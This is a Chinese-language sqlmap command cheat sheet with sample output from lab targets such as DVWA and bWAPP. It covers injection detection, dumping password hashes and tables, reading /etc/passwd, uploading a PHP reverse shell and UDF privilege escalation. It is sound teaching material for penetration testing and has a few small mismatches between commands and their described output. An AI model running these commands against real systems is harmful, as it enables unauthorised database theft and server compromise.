Sqlmap 命令总结
多少六朝兴废事,尽入渔樵闲话。
导航
壹 - 工具简介
sqlmap 是一款自动化检测与利用 SQL 注入漏洞的免费开源工具。
贰 - 命令用法
- 参考手册
sqlmap -h或sqlmap -hh
[*]目标
选项:-u 对 单一目标 URL 进行扫描。
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --dbs
选项:-d 可 直连数据库 进行利用。【注:需提供连接数据库的账户和密码。】
python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" --dbs
选项:-r 可直接 从文本中读取 HTTP 请求,进而免于配置请求相关的参数。如,--data、--cookie 等。
python sqlmap.py -r http-request.txt --dbs
选项:-m 可从文本文件中读取多个目标进行 批量扫描。
python sqlmap.py -r url-list.txt --dbs
选项:-c 可从 INI 配置文件中读取用户的选项配置。此选项与 --save 选项配合效果会更好。
#使用 save 选项先生成配置文件
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --dbs --save sql.ini
#若想对配置文件进行微调,可在微调之后再根据此配置文件的参数运行 sqlmap
python sqlmap.py -c sql.ini
请求
选项:--data 可附带 POST 请求所需要 发送的数据。
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" --dbs
选项:--cookie 可附带 Web 会话所需的 身份信息。【注:在面对那些需要登录才能访问的页面时,此选项很必须。】
python sqlmap.py -u "http://www.target.com/vuln.php" --cookie="security=low;PHPSESSID=cju1k9fnrue6" --dbs
注入
选项:-p 可 仅 对指定的参数进行测试,但这会使 sqlmap 忽略 --level 的设置。
#仅测试 GET 参数 id 和 HTTP User-Agent。
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -p "id,user-agent" --dbs
#针对 URL 路径的扫描测试。【注:sqlmap 默认并不会对 URI 路径进行注入点扫描】
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
选项:--skip 可 跳过 对指定的参数进行测试,通常需要配合 --level 使用。
#在进行 --level=5 级别的扫描时,跳过对 HTTP 请求中 User-Agent 和 HTTP Referer 参数的测试。
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --skip "user-agent,referer" --level 5 --dbs
选项:--param-exclude 可 基于正则表达式 来 跳过 对某些参数的测试。
#在进行 --level=5 级别的扫描时,跳过对 HTTP 请求中包含 token 或 session 名称的参数测试
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --param-exclude="token|session" --level 5 --dbs
检测
选项:--level 可控制 sqlmap 检测 注入点的范围。【默认为 1 则只是测试 GET 和 POST 的相关参数,大于等于 2 则会测试 HTTP Cookie 头部,大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。总而言之, 值越高检测的范围也会越大。】
选项:--risk 可控制 sqlmap 检测 载荷的风险级别。【默认级别是 1,对大多数 SQL 注入点而言没有任何风险。级别 2 则会在默认的基础上添加大量时间型盲注语句测试,级别 3 则会在原基础上添加 OR 类型的布尔型盲注测试。】
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --risk 2 --level 5 --dbs
[*]枚举
选项:--banner、--hostname、--current-user、--current-db、--is-dba 可显示 系统 相关信息。
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --banner --hostname --current-user --current-db --is-db
...输出结果...
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3ubuntu12.6-log'
current user: 'dvwa@%'
current database: 'dvwa'
hostname: 'owaspbwa'
current user is DBA: False
...
选项:--users、--passwords、--privileges 可枚举 mysql.user 表中 所有用户、密码哈希、权限 相关信息。【注:前提是当前 sql 用户拥有相应的读权限。】
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --users --passwords --privileges
...输出结果...
database management system users [38]:
[*] 'bricks'@'%'
...
database management system users password hashes:
[*] bricks [1]:
password hash: *255195939290DC6D228944BCC682D2427DA57E21
...
database management system users privileges:
[*] 'bricks'@'%' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
...
选项:--dbs、--tables --exclude-sysdbs、--columns、--count 可列出 所有 库、所有 表(除系统库之外的所有库的表)、所有 列(当前库中的所有表的列)、所有库表中的 数据条目 统计。此外,配合 -D dbname -T tabname 可列出指定库指定表信息。
#(1)所有库查询
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --dbs
...输出结果...
available databases [34]:
[*] bwapp
[*] citizens
[*] dvwa
...
#(2)所有表查询
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --tables --exclude-sysdbs
...输出结果...
Database: bwapp
[4 tables]
+------------------------------------+
| blog |
| heroes |
| movies |
| users |
+------------------------------------+
...
#(3)当前库当前表的列描述
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -D bwapp -T users --columns
...输出结果...
Database: bwapp
Table: users
[9 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| admin | tinyint(1) |
| activated | tinyint(1) |
| activation_code | varchar(100) |
| email | varchar(100) |
| id | int(10) |
| login | varchar(100) |
| password | varchar(100) |
| reset_code | varchar(100) |
| secret | varchar(100) |
+-----------------+--------------+
...
#(4)所有库所有表的条目数据统计
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --count
...输出结果...
Database: bwapp
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| blog | 12 |
| movies | 10 |
| heroes | 6 |
| users | 5 |
+---------------------------------------+---------+
...
选项:--dump 可转储当前库中所有表的所有数据,配合 --start 1 --stop 2 可仅导出每个表中的前 2 条数据。 此外,再配合 -D dbname -T tabname 可转储指定库指定表的数据信息。
#(1)导出 dava 库中 guestbook 表的第一条数据。
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --dump -D bwapp -T users --start 1 --stop 1
...输出结果...
Database: dvwa
Table: guestbook
[1 entry]
+------------+--------+-------------------------+
| comment_id | name | comment |
+------------+--------+-------------------------+
| 1 | test | This is a test comment. |
+------------+--------+-------------------------+
...
选项:--search 配合 -C col1,col2、-T tab1,tab2、-D db1,db2 可在所有数据库中搜索符合的数据库名、表名、列名。
#在整个数据库中搜索匹配 user 和 pass 的表。
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --search -T user,pass
...输出结果...
Database: bwapp
[1 table]
+-----------------------------+
| users |
+-----------------------------+
...
[*]杂项
选项:-v 可控制输出信息的详细等级。 默认是 1,使用 0 则输出会更简洁。
选项:--batch 可让 sqlmap 直接按照默认的选项运行,不再不停的询问。
选项:--flush-session 可清空 sqlmap 的会话文件内容。这样你可以避免 sqlmap 默认的缓存机制。【注:默认的会话缓存路径 ~/.local/share/sqlmap/output/】
选项:--wizard 可为用户提供一个询问式向导界面。
选项:--os-shell 会检查 mysql UDF 提权条件,若符合则直接提权并获得目标机器的 shell。【注:此方法对 Windows 下的 mysql 较为有效,因为其服务的运行权限通常较高,如 SYSTEM。 而在 Linux 下成功率则不高。】
选项:--sql-shell 会为用户提供一个简易的 SQL 客户端供简单使用。
选项:--shell 为用户提供一个可以交互的 sqlmap shell。【注意:交互内容是一些 sqlmap 的参数信息,而非 SQL 语句。】
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --cookie="security=low;PHPSESSID=qf12" -v 0 --shell
...交互阶段...
--users
...
--dbs
...
选项:--file-read 可在目标服务器文件系统中读取文件。【前提条件:(1)当前用户拥有服务器权限 FILE。(2)当前 mysql 服务的运行账户(linux 下一般是 mysql 账户)拥有读取文件的权限。】
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --file-read "/etc/passwd"
选项:--file-write --file-dest 可向目标服务器文件系统中写入文件。【前提条件:(1)当前用户拥有服务器权限 FILE。(2)当前 mysql 服务的运行账户(linux 下一般是 mysql 账户)拥有在指定目录写入文件的权限。(3)mysql 的系统变量 secure_file_priv 禁止 mysql 向文件系统写入文件。】
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -file-write "/root/php-reverse-shell.php" --file-dest "/var/www/html/shell.php"
选项:--crawl 可自动爬取网址,并对爬取到的 URL 进行 SQL 注入扫描。
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
API
该功能被应用于 BurpSuite 插件 SQLiPy,它将 Sqlmap 很好的集成在了 BurpSuite 中。
#在本地启动 sqlmap 的 API 接口服务
sqlmapapi -s -H 127.0.0.1 -p 8775
#连接本机 sqlmap 的 API 接口服务
sqlmapapi -c -H 127.0.0.1 -p 8775
叁 - 杂七杂八
(1)常用示例。
#适用于 Windows 下的 mysql UDF 提权
sqlmap -d "mysql://root: yourpassword@192.168.56.20:3306/dbname" --os-shell
#检测与枚举
sqlmap -u "http://www.target.com/vuln.php?id=1*" --data="id=1" --cookie="security=low;PHPSESSID=cju1k9fnrue6" -p "id" --flush-session -v 0 --level 5 --risk 1 --banner --hostname --current-user --current-db --is-db --users --dbs
#数据库表转储
sqlmap -u "http://www.target.com/vuln.php?id=1*" --data="id=1" --cookie="security=low;PHPSESSID=cju1k9fnrue6" -p "id" -v 0 -D test -T table --dump --batch
#服务器文件读取
sqlmap -u "http://www.target.com/vuln.php?id=1" --file-read "/etc/passwd"
(2)MySQL 常见语句:
#(1)新建用户
CREATE USER 'name'@'%' IDENTIFIED BY 'pass';
GRANT ALL ON *.* TO 'user'@'%'
FLUSH PRIVILEGES;
#(2)增删查改
SELECT * FROM users WHERE id = 1;
DELETE FROM users WHERE id = 1;
INSERT INTO users (name,pass) VALUES ('test','pass');
UPDATE user SET name = 'str' , pass = 'str' WHERE id = 1;
#(3)常见语法
select @@version #MySQL 版本查询
select user() #当前用户
select database() #当前库
show databases #所有库查询
show tables #当前库所有表查询
#(4)高级查询
select group_concat(schema_name) from information_schema.schemata #所有库查询
select group_concat(table_name) from information_schema.tables where table_schema='mysql' #mysql 库的所有表查询
select substring(group_concat(table_name),1,10) from information_schema.tables where table_schema='mysql' #输出的表太长时可能会发生截断,此时可以采取分段裁剪以读取全部表。